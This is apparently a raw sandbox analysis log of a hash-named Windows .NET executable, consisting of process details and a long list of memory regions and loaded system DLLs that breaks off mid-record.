# Flog Txt Version 1 # Analyzer Version: 4.6.0 # Analyzer Build Date: Jul 8 2022 06:26:21 # Log Creation Date: 22.09.2022 18:35:11.429 Process: id = "1" image_name = "fc61c3cbae6f6926294861aded1750af4c5019daae532e531f35dd575071c87a.exe" filename = "c:\\users\\keecfmwgj\\desktop\\fc61c3cbae6f6926294861aded1750af4c5019daae532e531f35dd575071c87a.exe" page_root = "0x42351000" os_pid = "0xebc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x760" cmd_line = "\"C:\\Users\\kEecfMwgj\\Desktop\\fc61c3cbae6f6926294861aded1750af4c5019daae532e531f35dd575071c87a.exe\" " cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f3d7" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 112 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 113 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 114 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 115 start_va = 0x60000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 116 start_va = 0x260000 end_va = 0x2b3fff monitored = 1 entry_point = 0x29b7d2 region_type = mapped_file name = "fc61c3cbae6f6926294861aded1750af4c5019daae532e531f35dd575071c87a.exe" filename = "\\Users\\kEecfMwgj\\Desktop\\fc61c3cbae6f6926294861aded1750af4c5019daae532e531f35dd575071c87a.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\fc61c3cbae6f6926294861aded1750af4c5019daae532e531f35dd575071c87a.exe") Region: id = 117 start_va = 0x77280000 end_va = 0x77428fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 118 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 119 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 120 start_va = 0x7feff5a0000 end_va = 0x7feff5a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 121 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 122 start_va = 0x7fffffdd000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 123 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 263 start_va = 0x2c0000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 264 start_va = 0x7fefa020000 end_va = 0x7fefa08efff monitored = 1 entry_point = 0x7fefa021134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 265 start_va = 0x77160000 end_va = 0x7727efff monitored = 0 entry_point = 0x77175340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 266 start_va = 0x7fefd4d0000 end_va = 0x7fefd53bfff monitored = 0 entry_point = 0x7fefd4d2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 267 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 268 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 269 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 270 start_va = 0x160000 end_va = 0x1c6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 271 start_va = 0x1d0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 272 start_va = 0x2c0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 273 start_va = 0x490000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 274 start_va = 0x510000 end_va = 0x6cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 275 start_va = 0x7feff060000 end_va = 0x7feff13afff monitored = 0 entry_point = 0x7feff080760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 276 start_va = 0x7fefebb0000 end_va = 0x7fefec4efff monitored = 0 entry_point = 0x7fefebb25a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 277 start_va = 0x7feff1e0000 end_va = 0x7feff1fefff monitored = 0 entry_point = 0x7feff1e60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 278 start_va = 0x7fefd5a0000 end_va = 0x7fefd6ccfff monitored = 0 entry_point = 0x7fefd5eed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 279 start_va = 0x510000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 280 start_va = 0x650000 end_va = 0x6cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 281 start_va = 0x6d0000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 282 start_va = 0x7fef8de0000 end_va = 0x7fef8e88fff monitored = 1 entry_point = 0x7fef8de1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 283 start_va = 0x7fefa010000 end_va = 0x7fefa012fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 284 start_va = 0x7fefec80000 end_va = 0x7fefecf0fff monitored = 0 entry_point = 0x7fefec91e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 285 start_va = 0x7fefed00000 end_va = 0x7fefed66fff monitored = 0 entry_point = 0x7fefed0b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 286 start_va = 0x77060000 end_va = 0x77159fff monitored = 0 entry_point = 0x7707a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 287 start_va = 0x7fefd940000 end_va = 0x7fefd94dfff monitored = 0 entry_point = 0x7fefd941080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 288 start_va = 0x7fefdd50000 end_va = 0x7fefde18fff monitored = 0 entry_point = 0x7fefddca874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 289 start_va = 0x1f0000 end_va = 0x218fff monitored = 0 entry_point = 0x1f1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 290 start_va = 0x7d0000 end_va = 0x957fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007d0000" filename = "" Region: id = 291 start_va = 0x1f0000 end_va = 0x218fff monitored = 0 entry_point = 0x1f1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 292 start_va = 0x7fefec50000 end_va = 0x7fefec7dfff monitored = 0 entry_point = 0x7fefec51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 293 start_va = 0x7fefed80000 end_va = 0x7fefee88fff monitored = 0 entry_point = 0x7fefed81064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 294 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 295 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 296 start_va = 0x960000 end_va = 0xae0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000960000" filename = "" Region: id = 297 start_va = 0xaf0000 end_va = 0x1eeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000af0000" filename = "" Region: id = 298 start_va = 0x1f0000 end_va = 0x23ffff monitored = 1 entry_point = 0x22b7d2 region_type = mapped_file name = "fc61c3cbae6f6926294861aded1750af4c5019daae532e531f35dd575071c87a.exe" filename = "\\Users\\kEecfMwgj\\Desktop\\fc61c3cbae6f6926294861aded1750af4c5019daae532e531f35dd575071c87a.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\fc61c3cbae6f6926294861aded1750af4c5019daae532e531f35dd575071c87a.exe") Region: id = 299 start_va = 0x1f0000 end_va = 0x23ffff monitored = 1 entry_point = 0x22b7d2 region_type = mapped_file name = "fc61c3cbae6f6926294861aded1750af4c5019daae532e531f35dd575071c87a.exe" filename = "\\Users\\kEecfMwgj\\Desktop\\fc61c3cbae6f6926294861aded1750af4c5019daae532e531f35dd575071c87a.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\fc61c3cbae6f6926294861aded1750af4c5019daae532e531f35dd575071c87a.exe") Region: id = 300 start_va = 0x7fefc390000 end_va = 0x7fefc39bfff monitored = 0 entry_point = 0x7fefc391064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 301 start_va = 0x7fef0fa0000 end_va = 0x7fef193cfff monitored = 1 entry_point = 0x7fef13ea300 region_type = mapped_file name = "mscorwks.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorwks.dll") Region: id = 302 start_va = 0x7fef0600000 end_va = 0x7fef0f9cfff monitored = 1 entry_point = 0x7fef0a4a300 region_type = mapped_file name = "mscorwks.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorwks.dll") Region: id = 303 start_va = 0x1ef0000 end_va = 0x205ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ef0000" filename = "" Region: id = 304 start_va = 0x7fef0fa0000 end_va = 0x7fef193cfff monitored = 1 entry_point = 0x7fef13ea300 region_type = mapped_file name = "mscorwks.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorwks.dll") Region: id = 305 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 306 start_va = 0x1e0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 307 start_va = 0x74dd0000 end_va = 0x74e98fff monitored = 0 entry_point = 0x74dd2df0 region_type = mapped_file name = "msvcr80.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_88e41e092fab0294\\msvcr80.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_88e41e092fab0294\\msvcr80.dll") Region: id = 308 start_va = 0x2060000 end_va = 0x218ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002060000" filename = "" Region: id = 309 start_va = 0x2060000 end_va = 0x215ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002060000" filename = "" Region: id = 310 start_va = 0x2180000 end_va = 0x218ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002180000" filename = "" Region: id = 311 start_va = 0x1f0000 end_va = 0x1f2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 312 start_va = 0x200000 end_va = 0x200fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000200000" filename = "" Region: id = 313 start_va = 0x220000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 314 start_va = 0x7ff00040000 end_va = 0x7ff0004ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ff00040000" filename = "" Region: id = 315 start_va = 0x7ff00050000 end_va = 0x7ff0005ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ff00050000" filename = "" Region: id = 316 start_va = 0x7ff00060000 end_va = 0x7ff000fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ff00060000" filename = "" Region: id = 317 start_va = 0x7ff00100000 end_va = 0x7ff0010ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ff00100000" filename = "" Region: id = 318 start_va = 0x7ff00110000 end_va = 0x7ff0017ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ff00110000" filename = "" Region: id = 319 start_va = 0x2240000 end_va = 0x233ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 320 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 321 start_va = 0x7fefde20000 end_va = 0x7fefeba7fff monitored = 0 entry_point = 0x7fefde9cebc region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 322 start_va = 0x210000 end_va = 0x210fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000210000" filename = "" Region: id = 323 start_va = 0x7fefd730000 end_va = 0x7fefd932fff monitored = 0 entry_point = 0x7fefd753330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 324 start_va = 0x2340000 end_va = 0x260efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 325 start_va = 0x7fefd1d0000 end_va = 0x7fefd1defff monitored = 0 entry_point = 0x7fefd1d19b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 326 start_va = 0x240000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 327 start_va = 0x2610000 end_va = 0x1a60ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002610000" filename = "" Region: id = 328 start_va = 0x1a610000 end_va = 0x1acdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a610000" filename = "" Region: id = 329 start_va = 0x1ace0000 end_va = 0x1ade0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ace0000" filename = "" Region: id = 330 start_va = 0x1ae40000 end_va = 0x1af3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ae40000" filename = "" Region: id = 331 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 332 start_va = 0x7fef00c0000 end_va = 0x7fef0f9bfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\mscorlib\\9469491f37d9c35b596968b206615309\\mscorlib.ni.dll") Region: id = 333 start_va = 0x3c0000 end_va = 0x43cfff monitored = 0 entry_point = 0x3ccec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 334 start_va = 0x3c0000 end_va = 0x43cfff monitored = 0 entry_point = 0x3ccec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 335 start_va = 0x7fefd0c0000 end_va = 0x7fefd0cefff monitored = 0 entry_point = 0x7fefd0c1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 336 start_va = 0x7fefbb20000 end_va = 0x7fefbb75fff monitored = 0 entry_point = 0x7fefbb2bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 337 start_va = 0x1af40000 end_va = 0x1b0effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af40000" filename = "" Region: id = 338 start_va = 0x1ef0000 end_va = 0x1fcefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ef0000" filename = "" Region: id = 339 start_va = 0x1fe0000 end_va = 0x205ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fe0000" filename = "" Region: id = 340 start_va = 0x7fffff20000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff20000" filename = "" Region: id = 341 start_va = 0x7fffff10000 end_va = 0x7fffff1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 342 start_va = 0x7fefcac0000 end_va = 0x7fefcad7fff monitored = 0 entry_point = 0x7fefcac3b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 343 start_va = 0x3c0000 end_va = 0x404fff monitored = 0 entry_point = 0x3c1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 344 start_va = 0x3c0000 end_va = 0x404fff monitored = 0 entry_point = 0x3c1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 345 start_va = 0x3c0000 end_va = 0x404fff monitored = 0 entry_point = 0x3c1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 346 start_va = 0x3c0000 end_va = 0x404fff monitored = 0 entry_point = 0x3c1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 347 start_va = 0x3c0000 end_va = 0x404fff monitored = 0 entry_point = 0x3c1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 348 start_va = 0x7fefc7c0000 end_va = 0x7fefc806fff monitored = 0 entry_point = 0x7fefc7c1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 349 start_va = 0x7ff00180000 end_va = 0x7ff0018ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ff00180000" filename = "" Region: id = 350 start_va = 0x240000 end_va = 0x242fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "l_intl.nls" filename = "\\Windows\\System32\\l_intl.nls" (normalized: "c:\\windows\\system32\\l_intl.nls") Region: id = 351 start_va = 0x7fef2ff0000 end_va = 0x7fef3173fff monitored = 1 entry_point = 0x7fef30d6c60 region_type = mapped_file name = "mscorjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\mscorjit.dll") Region: id = 352 start_va = 0x250000 end_va = 0x250fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000250000" filename = "" Region: id = 353 start_va = 0x3c0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 354 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 355 start_va = 0x3e0000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 356 start_va = 0x7ff00190000 end_va = 0x7ff001cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ff00190000" filename = "" Region: id = 357 start_va = 0x3f0000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 358 start_va = 0x400000 end_va = 0x40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 359 start_va = 0x410000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 360 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 361 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 362 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 363 start_va = 0x1af40000 end_va = 0x1b03ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af40000" filename = "" Region: id = 364 start_va = 0x1b070000 end_va = 0x1b0effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b070000" filename = "" Region: id = 365 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 366 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 367 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 368 start_va = 0x7feef690000 end_va = 0x7fef00b2fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system\\adff7dd9fe8e541775c46b6363401b22\\system.ni.dll") Region: id = 369 start_va = 0x7fef2db0000 end_va = 0x7fef2fe6fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Drawing\\5910828a337dbe848dc90c7ae0a7dee2\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.drawing\\5910828a337dbe848dc90c7ae0a7dee2\\system.drawing.ni.dll") Region: id = 370 start_va = 0x7feee5f0000 end_va = 0x7feef685fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Windows.Forms\\6c352ff9e3603b0e69d969ff7e7632f5\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.windows.forms\\6c352ff9e3603b0e69d969ff7e7632f5\\system.windows.forms.ni.dll") Region: id = 371 start_va = 0x7ff001d0000 end_va = 0x7ff001dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ff001d0000" filename = "" Region: id = 372 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 373 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 374 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 375 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 376 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 377 start_va = 0x510000 end_va = 0x51ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 378 start_va = 0x5e0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 379 start_va = 0x520000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 380 start_va = 0x530000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 381 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 382 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 383 start_va = 0x410000 end_va = 0x411fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000410000" filename = "" Region: id = 384 start_va = 0x7ff001e0000 end_va = 0x7ff001effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ff001e0000" filename = "" Region: id = 385 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 386 start_va = 0x3e0000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 387 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 388 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 389 start_va = 0x480000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 390 start_va = 0x510000 end_va = 0x51ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 391 start_va = 0x520000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 392 start_va = 0x530000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 393 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private 